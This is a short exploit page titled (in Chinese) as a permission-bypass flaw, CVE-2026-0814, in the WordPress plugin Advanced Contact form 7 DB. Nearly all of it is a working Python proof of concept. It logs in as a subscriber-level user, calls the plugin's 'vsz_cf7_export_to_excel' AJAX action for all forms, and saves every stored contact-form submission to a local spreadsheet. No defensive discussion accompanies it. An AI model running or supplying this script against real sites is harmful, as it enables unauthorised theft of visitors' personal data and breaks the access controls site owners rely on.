CVE-2026-0814: WordPress Advanced Contact form 7 DB权限绕过漏洞

import requests # Configuration target_url = "https://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Login to get session cookie login_url = "https://example.com/wp-login.php" session = requests.Session() payload = { 'log': username, 'pwd': password, 'redirect_to': 'https://example.com/wp-admin/', 'wp-submit': 'Log In' } session.post(login_url, data=payload) # 2. Prepare exploit payload # The action usually corresponds to the wp_ajax_ hook or wp_ajax_nopriv_ action = "vsz_cf7_export_to_excel" exploit_data = { 'action': action, 'form_id': 'all' # Exporting all submissions } # 3. Send exploit request try: response = session.post(target_url, data=exploit_data) if response.status_code == 200 and "application/vnd" in response.headers.get('Content-Type', ''): print("[+] Exploit successful! File content received.") # Save the excel file with open("cve_2026_0814_dump.xlsx", "wb") as f: f.write(response.content) print("[+] Data saved to cve_2026_0814_dump.xlsx") else: print("[-] Exploit failed or unexpected response.") print(response.text[:500]) except Exception as e: print(f"Error: {e}")